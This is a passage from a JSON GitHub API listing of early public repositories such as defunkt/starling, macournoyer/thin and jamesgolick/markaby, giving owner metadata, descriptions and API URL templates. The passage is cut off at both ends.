/defunkt/starling/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/defunkt/starling/git/refs{/sha}","trees_url":"https://api.github.com/repos/defunkt/starling/git/trees{/sha}","statuses_url":"https://api.github.com/repos/defunkt/starling/statuses/{sha}","languages_url":"https://api.github.com/repos/defunkt/starling/languages","stargazers_url":"https://api.github.com/repos/defunkt/starling/stargazers","contributors_url":"https://api.github.com/repos/defunkt/starling/contributors","subscribers_url":"https://api.github.com/repos/defunkt/starling/subscribers","subscription_url":"https://api.github.com/repos/defunkt/starling/subscription","commits_url":"https://api.github.com/repos/defunkt/starling/commits{/sha}","git_commits_url":"https://api.github.com/repos/defunkt/starling/git/commits{/sha}","comments_url":"https://api.github.com/repos/defunkt/starling/comments{/number}","issue_comment_url":"https://api.github.com/repos/defunkt/starling/issues/comments/{number}","contents_url":"https://api.github.com/repos/defunkt/starling/contents/{+path}","compare_url":"https://api.github.com/repos/defunkt/starling/compare/{base}...{head}","merges_url":"https://api.github.com/repos/defunkt/starling/merges","archive_url":"https://api.github.com/repos/defunkt/starling/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/defunkt/starling/downloads","issues_url":"https://api.github.com/repos/defunkt/starling/issues{/number}","pulls_url":"https://api.github.com/repos/defunkt/starling/pulls{/number}","milestones_url":"https://api.github.com/repos/defunkt/starling/milestones{/number}","notifications_url":"https://api.github.com/repos/defunkt/starling/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/defunkt/starling/labels{/name}"},{"id":65,"name":"merb-more","full_name":"wycats/merb-more","owner":{"login":"wycats","id":4,"avatar_url":"https://2.gravatar.com/avatar/428167a3ec72235ba971162924492609?d=https%3A%2F%2Fidenticons.github.com%2Fa87ff679a2f3e71d9181a67b7542122c.png","gravatar_id":"428167a3ec72235ba971162924492609","url":"https://api.github.com/users/wycats","html_url":"https://github.com/wycats","followers_url":"https://api.github.com/users/wycats/followers","following_url":"https://api.github.com/users/wycats/following{/other_user}","gists_url":"https://api.github.com/users/wycats/gists{/gist_id}","starred_url":"https://api.github.com/users/wycats/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wycats/subscriptions","organizations_url":"https://api.github.com/users/wycats/orgs","repos_url":"https://api.github.com/users/wycats/repos","events_url":"https://api.github.com/users/wycats/events{/privacy}","received_events_url":"https://api.github.com/users/wycats/received_events","type":"User"},"private":false,"html_url":"https://github.com/wycats/merb-more","description":"Merb More: The Full Stack. Take what you need; leave what you don't.","fork":false,"url":"https://api.github.com/repos/wycats/merb-more","forks_url":"https://api.github.com/repos/wycats/merb-more/forks","keys_url":"https://api.github.com/repos/wycats/merb-more/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wycats/merb-more/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wycats/merb-more/teams","hooks_url":"https://api.github.com/repos/wycats/merb-more/hooks","issue_events_url":"https://api.github.com/repos/wycats/merb-more/issues/events{/number}","events_url":"https://api.github.com/repos/wycats/merb-more/events","assignees_url":"https://api.github.com/repos/wycats/merb-more/assignees{/user}","branches_url":"https://api.github.com/repos/wycats/merb-more/branches{/branch}","tags_url":"https://api.github.com/repos/wycats/merb-more/tags","blobs_url":"https://api.github.com/repos/wycats/merb-more/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wycats/merb-more/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wycats/merb-more/git/refs{/sha}","trees_url":"https://api.github.com/repos/wycats/merb-more/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wycats/merb-more/statuses/{sha}","languages_url":"https://api.github.com/repos/wycats/merb-more/languages","stargazers_url":"https://api.github.com/repos/wycats/merb-more/stargazers","contributors_url":"https://api.github.com/repos/wycats/merb-more/contributors","subscribers_url":"https://api.github.com/repos/wycats/merb-more/subscribers","subscription_url":"https://api.github.com/repos/wycats/merb-more/subscription","commits_url":"https://api.github.com/repos/wycats/merb-more/commits{/sha}","git_commits_url":"https://api.github.com/repos/wycats/merb-more/git/commits{/sha}","comments_url":"https://api.github.com/repos/wycats/merb-more/comments{/number}","issue_comment_url":"https://api.github.com/repos/wycats/merb-more/issues/comments/{number}","contents_url":"https://api.github.com/repos/wycats/merb-more/contents/{+path}","compare_url":"https://api.github.com/repos/wycats/merb-more/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wycats/merb-more/merges","archive_url":"https://api.github.com/repos/wycats/merb-more/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wycats/merb-more/downloads","issues_url":"https://api.github.com/repos/wycats/merb-more/issues{/number}","pulls_url":"https://api.github.com/repos/wycats/merb-more/pulls{/number}","milestones_url":"https://api.github.com/repos/wycats/merb-more/milestones{/number}","notifications_url":"https://api.github.com/repos/wycats/merb-more/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wycats/merb-more/labels{/name}"},{"id":68,"name":"thin","full_name":"macournoyer/thin","owner":{"login":"macournoyer","id":22,"avatar_url":"https://0.gravatar.com/avatar/0d949b795e64e062c4c001c6f5a6f3f3?d=https%3A%2F%2Fidenticons.github.com%2Fb6d767d2f8ed5d21a44b0e5886680cb9.png","gravatar_id":"0d949b795e64e062c4c001c6f5a6f3f3","url":"https://api.github.com/users/macournoyer","html_url":"https://github.com/macournoyer","followers_url":"https://api.github.com/users/macournoyer/followers","following_url":"https://api.github.com/users/macournoyer/following{/other_user}","gists_url":"https://api.github.com/users/macournoyer/gists{/gist_id}","starred_url":"https://api.github.com/users/macournoyer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/macournoyer/subscriptions","organizations_url":"https://api.github.com/users/macournoyer/orgs","repos_url":"https://api.github.com/users/macournoyer/repos","events_url":"https://api.github.com/users/macournoyer/events{/privacy}","received_events_url":"https://api.github.com/users/macournoyer/received_events","type":"User"},"private":false,"html_url":"https://github.com/macournoyer/thin","description":"A very fast & simple Ruby web server","fork":false,"url":"https://api.github.com/repos/macournoyer/thin","forks_url":"https://api.github.com/repos/macournoyer/thin/forks","keys_url":"https://api.github.com/repos/macournoyer/thin/keys{/key_id}","collaborators_url":"https://api.github.com/repos/macournoyer/thin/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/macournoyer/thin/teams","hooks_url":"https://api.github.com/repos/macournoyer/thin/hooks","issue_events_url":"https://api.github.com/repos/macournoyer/thin/issues/events{/number}","events_url":"https://api.github.com/repos/macournoyer/thin/events","assignees_url":"https://api.github.com/repos/macournoyer/thin/assignees{/user}","branches_url":"https://api.github.com/repos/macournoyer/thin/branches{/branch}","tags_url":"https://api.github.com/repos/macournoyer/thin/tags","blobs_url":"https://api.github.com/repos/macournoyer/thin/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/macournoyer/thin/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/macournoyer/thin/git/refs{/sha}","trees_url":"https://api.github.com/repos/macournoyer/thin/git/trees{/sha}","statuses_url":"https://api.github.com/repos/macournoyer/thin/statuses/{sha}","languages_url":"https://api.github.com/repos/macournoyer/thin/languages","stargazers_url":"https://api.github.com/repos/macournoyer/thin/stargazers","contributors_url":"https://api.github.com/repos/macournoyer/thin/contributors","subscribers_url":"https://api.github.com/repos/macournoyer/thin/subscribers","subscription_url":"https://api.github.com/repos/macournoyer/thin/subscription","commits_url":"https://api.github.com/repos/macournoyer/thin/commits{/sha}","git_commits_url":"https://api.github.com/repos/macournoyer/thin/git/commits{/sha}","comments_url":"https://api.github.com/repos/macournoyer/thin/comments{/number}","issue_comment_url":"https://api.github.com/repos/macournoyer/thin/issues/comments/{number}","contents_url":"https://api.github.com/repos/macournoyer/thin/contents/{+path}","compare_url":"https://api.github.com/repos/macournoyer/thin/compare/{base}...{head}","merges_url":"https://api.github.com/repos/macournoyer/thin/merges","archive_url":"https://api.github.com/repos/macournoyer/thin/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/macournoyer/thin/downloads","issues_url":"https://api.github.com/repos/macournoyer/thin/issues{/number}","pulls_url":"https://api.github.com/repos/macournoyer/thin/pulls{/number}","milestones_url":"https://api.github.com/repos/macournoyer/thin/milestones{/number}","notifications_url":"https://api.github.com/repos/macournoyer/thin/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/macournoyer/thin/labels{/name}"},{"id":71,"name":"resource_controller","full_name":"jamesgolick/resource_controller","owner":{"login":"jamesgolick","id":37,"avatar_url":"https://2.gravatar.com/avatar/f6eddf2f983d23c2d031e407852625e9?d=https%3A%2F%2Fidenticons.github.com%2Fa5bfc9e07964f8dddeb95fc584cd965d.png","gravatar_id":"f6eddf2f983d23c2d031e407852625e9","url":"https://api.github.com/users/jamesgolick","html_url":"https://github.com/jamesgolick","followers_url":"https://api.github.com/users/jamesgolick/followers","following_url":"https://api.github.com/users/jamesgolick/following{/other_user}","gists_url":"https://api.github.com/users/jamesgolick/gists{/gist_id}","starred_url":"https://api.github.com/users/jamesgolick/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamesgolick/subscriptions","organizations_url":"https://api.github.com/users/jamesgolick/orgs","repos_url":"https://api.github.com/users/jamesgolick/repos","events_url":"https://api.github.com/users/jamesgolick/events{/privacy}","received_events_url":"https://api.github.com/users/jamesgolick/received_events","type":"User"},"private":false,"html_url":"https://github.com/jamesgolick/resource_controller","description":"Rails RESTful controller abstraction plugin.","fork":false,"url":"https://api.github.com/repos/jamesgolick/resource_controller","forks_url":"https://api.github.com/repos/jamesgolick/resource_controller/forks","keys_url":"https://api.github.com/repos/jamesgolick/resource_controller/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jamesgolick/resource_controller/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jamesgolick/resource_controller/teams","hooks_url":"https://api.github.com/repos/jamesgolick/resource_controller/hooks","issue_events_url":"https://api.github.com/repos/jamesgolick/resource_controller/issues/events{/number}","events_url":"https://api.github.com/repos/jamesgolick/resource_controller/events","assignees_url":"https://api.github.com/repos/jamesgolick/resource_controller/assignees{/user}","branches_url":"https://api.github.com/repos/jamesgolick/resource_controller/branches{/branch}","tags_url":"https://api.github.com/repos/jamesgolick/resource_controller/tags","blobs_url":"https://api.github.com/repos/jamesgolick/resource_controller/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jamesgolick/resource_controller/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jamesgolick/resource_controller/git/refs{/sha}","trees_url":"https://api.github.com/repos/jamesgolick/resource_controller/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jamesgolick/resource_controller/statuses/{sha}","languages_url":"https://api.github.com/repos/jamesgolick/resource_controller/languages","stargazers_url":"https://api.github.com/repos/jamesgolick/resource_controller/stargazers","contributors_url":"https://api.github.com/repos/jamesgolick/resource_controller/contributors","subscribers_url":"https://api.github.com/repos/jamesgolick/resource_controller/subscribers","subscription_url":"https://api.github.com/repos/jamesgolick/resource_controller/subscription","commits_url":"https://api.github.com/repos/jamesgolick/resource_controller/commits{/sha}","git_commits_url":"https://api.github.com/repos/jamesgolick/resource_controller/git/commits{/sha}","comments_url":"https://api.github.com/repos/jamesgolick/resource_controller/comments{/number}","issue_comment_url":"https://api.github.com/repos/jamesgolick/resource_controller/issues/comments/{number}","contents_url":"https://api.github.com/repos/jamesgolick/resource_controller/contents/{+path}","compare_url":"https://api.github.com/repos/jamesgolick/resource_controller/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jamesgolick/resource_controller/merges","archive_url":"https://api.github.com/repos/jamesgolick/resource_controller/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jamesgolick/resource_controller/downloads","issues_url":"https://api.github.com/repos/jamesgolick/resource_controller/issues{/number}","pulls_url":"https://api.github.com/repos/jamesgolick/resource_controller/pulls{/number}","milestones_url":"https://api.github.com/repos/jamesgolick/resource_controller/milestones{/number}","notifications_url":"https://api.github.com/repos/jamesgolick/resource_controller/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jamesgolick/resource_controller/labels{/name}"},{"id":73,"name":"markaby","full_name":"jamesgolick/markaby","owner":{"login":"jamesgolick","id":37,"avatar_url":"https://2.gravatar.com/avatar/f6eddf2f983d23c2d031e407852625e9?d=https%3A%2F%2Fidenticons.github.com%2Fa5bfc9e07964f8dddeb95fc584cd965d.png","gravatar_id":"f6eddf2f983d23c2d031e407852625e9","url":"https://api.github.com/users/jamesgolick","html_url":"https://github.com/jamesgolick","followers_url":"https://api.github.com/users/jamesgolick/followers","following_url":"https://api.github.com/users/jamesgolick/following{/other_user}","gists_url":"https://api.github.com/users/jamesgolick/gists{/gist_id}","starred_url":"https://api.github.com/users/jamesgolick/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamesgolick/subscriptions","organizations_url":"https://api.github.com/users/jamesgolick/orgs","repos_url":"https://api.github.com/users/jamesgolick/repos","events_url":"https://api.github.com/users/jamesgolick/events{/privacy}","received_events_url":"https://api.github.com/users/jamesgolick/received_events","type":"User"},"private":false,"html_url":"https://github.com/jamesgolick/markaby","description":"Markaby patched to run on rails 2.0.2","fork":false,"url":"https://api.github.com/repos/jamesgolick/markaby","forks_url":"https://api.github.com/repos/jamesgolick/markaby/forks","keys_url":"https://api.github.com/repos/jamesgolick/markaby/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jamesgolick/markaby/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jamesgolick/markaby/teams","hooks_url":"https://api.github.com/repos/jamesgolick/markaby/hooks","issue_events_url":"https://api.github.com/repos/jamesgolick/markaby/issues/events{/number}","events_url":"https://api.github.com/repos/jamesgolick/markaby/events","assignees_url":"https://api.github.com/repos/jamesgolick/markaby/assignees{/user}","branches_url":"https://api.github.com/repos/jamesgolick/markaby/branches{/branch}","tags_url":"https://api.github.com/repos/jamesgolick/markaby/tags","blobs_url":"https://api.github.com/repos/jamesgolick/markaby/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jamesgolick/markaby/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jamesgolick/markaby/git/refs{/sha}","trees_url":"https://api.github.com/repos/jamesgolick/markaby/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jamesgolick/markaby/statuses/{sha}","languages_url":"https://api.github.com/repos/jamesgolick/markaby/languages","stargazers_url":"https://api.github.com/repos/jamesgolick/markaby/stargazers","contributors_url":"https://api.github.com/repos/jamesgolick/markaby/contributors","subscribers_url":"https://api.github.com/repos/jamesgolick/markaby/subscribers","subscription_url":"https://api.github.com/repos/jamesgolick/markaby/subscription","commits_url":"https://api.github.com/repos/jamesgolick/markaby/commits{/sha}","git_commits_url":"https://api.github.com/repos/jamesgolick/markaby/git/commits{/sha}","comments_url":"https://api.github.com/repos/jamesgolick/markaby/comments{/number}","issue_comment_url":"https://api.github.com/repos/jamesgolick/markaby/issues/comments/{number}","contents_url":"https://api.github.com/repos/jamesgolick/markaby/contents/{+path}","compare_url":"https://api.github.com/repos/jamesgolick/markaby/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jamesgolick/markaby/merges","archive_url":"https://api.github.com/repos/jamesgolick/markaby/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jamesgolick/markaby/downloads","issues_url":"https://api.github.com/repos/jamesgolick/markaby/issues{/number}","pulls_url":"https://api.github.com/repos/jamesgolick/markaby/pulls{/number}","milestones_url":"https://api.github.com/repos/jamesgolick/markaby/milestones{/number}","notifications_url":"https://api.github.com/repos/jamesgolick/markaby/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jamesgolick/markaby/labels{/name}"},{"id":74,"name":"enum_field","full_name":"jamesgolick/enum_field","owner":{"login":"jamesgolick","id":37,"avatar_url":"https://2.gravatar.com/avatar/f6eddf2f983d23c2d031e407852625e9?d=https%3A%2F%2Fidenticons.github.com%2Fa5bfc9e07964f8dddeb95fc584cd965d.png","gravatar_id":"f6eddf2f983d23c2d031e407852625e9","url":"https://api.github.com/users/jamesgolick","html_url":"https://github.com/jamesgolick","followers_url":"https://api.github.com/users/jamesgolick/followers","following_url":"https://api.github.com/users/jamesgolick/following{/other_user}","gists_url":"https://api.github.com/users/jamesgolick/gists{/gist_id}","starred_url":"https://api.github.com/users/jamesgolick/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamesgolick/subscriptions","organizations_url":"https://api.github.com/users/jamesgolick/orgs","repos_url":"https://api.github.com/users/jamesgolick/repos","events_url":"https://api.github.com/users/jamesgolick/events{/privacy}","received_events_url":"https://api.github.com/users/jamesgolick/received_events","type":"User"},"private":false,"html_url":"https://github.com/jamesgolick/enum_field","description":"","fork":false,"url":"https://api.github.com/repos/jamesgolick/enum_field","forks_url":"https://api.github.com/repos/jamesgolick/enum_field/forks","keys_url":"https://api.github.com/repos/jamesgolick/enum_field/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jamesgolick/enum_field/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jamesgolick/enum_field/teams","hooks_url":"https://api.github.com/repos/jamesgolick/enum_field/hooks","issue_events_url":"https://api.github.com/repos/jamesgolick/enum_field/issues/events{/number}","events_url":"https://api.github.com/repos/jamesgolick/enum_field/events","assignees_url":"https://api.github.com/repos/jamesgolick/enum_field/assignees{/user}","branches_url":"https://api.github.com/repos/jamesgolick/enum_field/branches{/branch}","tags_url":"https://api.github.com/repos/jamesgolick/enum_field/tags","blobs_url":"https://api.github.com/repos/jamesgolick/enum_field/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jamesgolick/enum_field/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jamesgolick/enum_field/git/refs{/sha}","trees_url":"https://api.github.com/repos/jamesgolick/enum_field/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jamesgolick/enum_field/statuses/{sha}","languages_url":"https://api.github.com/repos/jamesgolick/enum_field/languages","stargazers_url":"https://api.github.com/repos/jamesgolick/enum_field/stargazers","contributors_url":"https://api.github.com/repos/jamesgolick/enum_field/contributors","subscribers_url":"https://api.github.com/repos/jamesgolick/enum_field/subscribers","subscription_url":"https://api.github.com/repos/jamesgolick/enum_field/subscription","commits_url":"https://api.github.com/repos/jamesgolick/enum_field/commits{/sha}","git_commits_url":"https://api.github.com/repos/jamesgolick/enum_field/git/commits{/sha}","comments_url":"https://api.github.com/repos/jamesgolick/enum_field/comments{/number}","issue_comment_url":"https://api.github.com/repos/jamesgolick/enum_field/issues/comments/{number}","contents_url":"https://api.github.com/repos/jamesgolick/enum_field/contents/{+path}","compare_url":"https://api.github.com/repos/jamesgolick/enum_field/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jamesgolick/enum_field/merges","archive_url":"https://api.github.com/repos/jamesgolick/enum_field/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jamesgolick/enum_field/downloads","issues_url":"https://api.github.com/repos/jamesgolick/enum_field/issues{/number}","pulls_url":"https://api.github.com/repos/jamesgolick/enum_field/pulls{/number}","milestones_url":"https://api.github.com/repos/jamesgolick/enum_field/milestones{/number}","notifications_url":"https://api.github.com/repos/jamesgolick/enum_field/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jamesgolick/enum_field/labels{/name}"},{"id":75,"name":"subtlety","full_name":"defunkt/subtlety","owner":{"login":"defunkt","id":2,"avatar_url":"https://2.gravatar.com/avatar/b8dbb1987e8e5318584865f880036796?d=https%3A%2F%2Fidenticons.github.com%2Fc81e728d9d4c2f636f067f89cc14862c.png","gravatar_id":"b8dbb1987e8e5318584865f880036796","url":"https://api.github.com/users/defunkt","html_url":"https://github.com/defunkt","followers_url":"https://api.github.com/users/defunkt/followers","following_url":"https://api.github.com/users/defunkt/following{/other_user}","gists_url":"https://api.github.com/users/defunkt/gists{/gist_id}","starred_url":"https://api.github.com/users/defunkt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/defunkt/subscriptions","organizations_url":"https://api.github.com/users/defunkt/orgs","repos_url":"https://api.github.com/users/defunkt/repos","events_url":"https://api.github.com/users/defunkt/events{/privacy}","received_events_url":"https://api.github.com/users/defunkt/received_events","type":"User"},"private":false,"html_url":"https://github.com/defunkt/subtlety","description":"Subtlety: SVN => RSS, hAtom => Atom","fork":false,"url":"https://api.github.com/repos/defunkt/subtlety","forks_url":"https://api.github.com/repos/defunkt/subtlety/forks","keys_url":"https://api.github.com/repos/defunkt/subtlety/keys{/key_id}","collaborators_url":"https://api.github.com/repos/defunkt/subtlety/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/defunkt/subtlety/teams","hooks_url":"https://api.github.com/repos/defunkt/subtlety/hooks","issue_events_url":"https://api.github.com/repos/defunkt/subtlety/issues/events{/number}","events_url":"https://api.github.com/repos/defunkt/subtlety/events","assignees_url":"https://api.github.com/repos/defunkt/subtlety/assignees{/user}","branches_url":"https://api.github.com/repos/defunkt/subtlety/branches{/branch}","tags_url":"https://api.github.com/repos/defunkt/subtlety/tags","blobs_url":"https://api.github.com/repos/defunkt/subtlety/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/defunkt/subtlety/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/defunkt/subtlety/git/refs{/sha}","trees_url":"https://api.github.com/repos/defunkt/subtlety/git/trees{/sha}","statuses_url":"https://api.github.com/repos/defunkt/subtlety/statuses/{sha}","languages_url":"https://api.github.com/repos/defunkt/subtlety/languages","stargazers_url":"https://api.github.com/repos/defunkt/subtlety/stargazers","contributors_url":"https://api.github.com/repos/defunkt/subtlety/contributors","subscribers_url":"https://api.github.com/repos/defunkt/subtlety/subscribers","subscription_url":"https://api.github.com/repos/defunkt/subtlety/subscription","commits_url":"https://api.github.com/repos/defunkt/subtlety/commits{/sha}","git_commits_url":"https://api.github.com/repos/defunkt/subtlety/git/commits{/sha}","comments_url":"https://api.github.com/repos/defunkt/subtlety/comments{/number}","issue_comment_url":"https://api.github.com/repos/defunkt/subtlety/issues/comments/{number}","contents_url":"https://api.github.com/repos/defunkt/subtlety/contents/{+path}","compare_url":"https://api.github.com/repos/defunkt/subtlety/compare/{base}...{head}","merges_url":"https://api.github.com/repos/defunkt/subtlety/merges","archive_url":"https://api.github.com/repos/defunkt/subtlety/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/defunkt/subtlety/downloads","issues_url":"https://api.github.com/repos/defunkt/subtlety/issues{/number}","pulls_url":"https://api.github.com/repos/defunkt/subtlety/pulls{/number}","milestones_url":"https://api.github.com/repos/defunkt/subtlety/milestones{/number}","notifications_url":"https://api.github.com/repos/defunkt/subtlety/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/defunkt/subtlety/labels{/name}"},{"id":92,"name":"zippy","full_name":"defunkt/zippy","owner":{"login":"defunkt","id":2,"avatar_url":"https://2.gravatar.com/avatar/b8dbb1987e8e5318584865f880036796?d=https%3A%2F%2Fidenticons.github.com%2Fc81e728d9d4c2f636f067f89cc14862c.png","gravatar_id":"b8dbb1987e8e5318584865f880036796","url":"https://api.github.com/users/defunkt","html_url":"https://github.com/defunkt","followers_url":"https://api.github.com/users/defunkt/followers","following_url":"https://api.github.com/users/defunkt/following{/other_user}","gists_url":"https://api.github.com/users/defunkt/gists{/gist_id}","starred_url":"https://api.github.com/users/defunkt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/defunkt/subscriptions","organizations_url":"https://api.github.com/users/defunkt/orgs","repos_url":"https://api.github.com/users/defunkt/repos","events_url":"https://api.github.com/users/defunkt/events{/privacy}","received_events_url":"https://api.github.com/users/defunkt/received_events","type":"User"},"private":false,"html_url":"https://github.com/defunkt/zippy","description":"Zippy lil’ zipcode lib.","fork":false,"url":"https://api.github.com/repos/defunkt/zippy","forks_url":"https://api.github.com/repos/defunkt/zippy/forks","keys_url":"https://api.github.com/repos/defunkt/zippy/keys{/key_id}","collaborators_url":"https://api.github.com/repos/defunkt/zippy/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/defunkt/zippy/teams","hooks_url":"https://api.github.com/repos/defunkt/zippy/hooks","issue_events_url":"https://api.github.com/repos/defunkt/zippy/issues/events{/number}","events_url":"https://api.github.com/repos/defunkt/zippy/events","assignees_url":"https://api.github.com/repos/defunkt/zippy/assignees{/user}","branches_url":"https://api.github.com/repos/defunkt/zippy/branches{/branch}","tags_url":"https://api.github.com/repos/defunkt/zippy/tags","blobs_url":"https://api.github.com/repos/defunkt/zippy/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/defunkt/zippy/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/defunkt/zippy/git/refs{/sha}","trees_url":"https://api.github.com/repos/defunkt/zippy/git/trees{/sha}","statuses_url":"https://api.github.com/repos/defunkt/zippy/statuses/{sha}","languages_url":"https://api.github.com/repos/defunkt/zippy/languages","stargazers_url":"https://api.github.com/repos/defunkt/zippy/stargazers","contributors_url":"https://api.github.com/repos/defunkt/zippy/contributors","subscribers_url":"https://api.github.com/repos/defunkt/zippy/subscribers","subscription_url":"https://api.github.com/repos/defunkt/zippy/subscription","commits_url":"https://api.github.com/repos/defunkt/zippy/commits{/sha}","git_commits_url":"https://api.github.com/repos/defunkt/zippy/git/commits{/sha}","comments_url":"https://api.github.com/repos/defunkt/zippy/comments{/number}","issue_comment_url":"https://api.github.com/repos/defunkt/zippy/issues/comments/{number}","contents_url":"https://api.github.com/repos/defunkt/zippy/contents/{+path}","compare_url":"https://api.github.com/repos/defunkt/zippy/compare/{base}...{head}","merges_url":"https://api.github.com/repos/defunkt/zippy/merges","archive_url":"https://api.github.com/repos/defunkt/zippy/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/defunkt/zippy/downloads","issues_url":"https://api.github.com/repos/defunkt/zippy/issues{/number}","pulls_url":"https://api.github.com/repos/defunkt/zippy/pulls{/number}","milestones_url":"https://api.github.com/repos/defunkt/zippy/milestones{/number}","notifications_url":"https://api.github.com/repos/defunkt/zippy/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/defunkt/zippy/labels{/name}"},{"id":93,"name":"cache_fu","full_name":"defunkt/cache_fu","owner":{"login":"defunkt","id":2,"avatar_url":"https://2.gravatar.com/avatar/b8dbb1987e8e5318584865f880036796?d=https%3A%2F%2Fidenticons.github.com%2Fc81e728d9d4c2f636f067f89cc14862c.png","gravatar_id":"b8dbb1987e8e5318584865f880036796","url":"https://api.github.com/users/defunkt","html_url":"https://github.com/defunkt","followers_url":"https://api.github.com/users/defunkt/followers","following_url":"https://api.github.com/users/defunkt/following{/other_user}","gists_url":"https://api.github.com/users/defunkt/gists{/gist_id}","starred_url":"https://api.github.com/users/defunkt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/defunkt/subscriptions","organizations_url":"https://api.github.com/users/defunkt/orgs","repos_url":"https://api.github.com/users/defunkt/repos","events_url":"https://api.github.com/users/defunkt/events{/privacy}","received_events_url":"https://api.github.com/users/defunkt/received_events","type":"User"},"private":false,"html_url":"https://github.com/defunkt/cache_fu","description":"Ghost from Christmas past. Unmaintained.","fork":false,"url":"https://api.github.com/repos/defunkt/cache_fu","forks_url":"https://api.github.com/repos/defunkt/cache_fu/forks","keys_url":"https://api.github.com/repos/defunkt/cache_fu/keys{/key_id}","collaborators_url":"https://api.github.com/repos/defunkt/cache_fu/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/defunkt/cache_fu/teams","hooks_url":"https://api.github.com/repos/defunkt/cache_fu/hooks","issue_events_url":"https://api.github.com/repos/defunkt/cache_fu/issues/events{/number}","events_url":"https://api.github.com/repos/defunkt/cache_fu/events","assignees_url":"https://api.github.com/repos/defunkt/cache_fu/assignees{/user}","branches_url":"https://api.github.com/repos/defunkt/cache_fu/branches{/branch}","tags_url":"https://api.github.com/repos/defunkt/cache_fu/tags","blobs_url":"https://api.github.com/repos/defunkt/cache_fu/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/defunkt/cache_fu/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/defunkt/cache_fu/git/refs{/sha}","trees_url":"https://api.github.com/repos/defunkt/cache_fu/git/trees{/sha}","statuses_url":"https://api.github.com/repos/defunkt/cache_fu/statuses/{sha}","languages_url":"https://api.github.com/repos/defunkt/cache_fu/languages","stargazers_url":"https://api.github.com/repos/defunkt/cache_fu/stargazers","contributors_url":"https://api.github.com/repos/defunkt/cache_fu/contributors","subscribers_url":"https://api.github.com/repos/defunkt/cache_fu/subscribers","subscription_url":"https://api.github.com/repos/defunkt/cache_fu/subscription","commits_url":"https://api.github.com/repos/defunkt/cache_fu/commits{/sha}","git_commits_url":"https://api.github.com/repos/defunkt/cache_fu/git/commits{/sha}","comments_url":"https://api.github.com/repos/defunkt/cache_fu/comments{/number}","issue_comment_url":"https://api.github.com/repos/defunkt/cache_fu/issues/comments/{number}","contents_url":"https://api.github.com/repos/defunkt/cache_fu/contents/{+path}","compare_url":"https://api.github.com/repos/defunkt/cache_fu/compare/{base}...{head}","merges_url":"https://api.github.com/repos/defunkt/cache_fu/merges","archive_url":"https://api.github.com/repos/defunkt/cache_fu/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/defunkt/cache_fu/downloads","issues_url":"https://api.github.com/repos/defunkt/cache_fu/issues{/number}","pulls_url":"https://api.github.com/repos/defunkt/cache_fu/pulls{/number}","milestones_url":"https://api.github.com/repos/defunkt/cache_fu/milestones{/number}","notifications_url":"https://api.github.com/repos/defunkt/cache_fu/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/defunkt/cache_fu/labels{/name}"},{"id":95,"name":"phosphor","full_name":"KirinDave/phosphor","owner":{"login":"KirinDave","id":36,"avatar_url":"https://2.gravatar.com/avatar/d4fabd6c08ac228a3ff846d9d0d1580e?d=https%3A%2F%2Fidenticons.github.com%2F19ca14e7ea6328a42e0eb13d585e4c22.png","gravatar_id":"d4fabd6c08ac228a3ff846d9d0d1580e","url":"https://api.github.com/users/Ki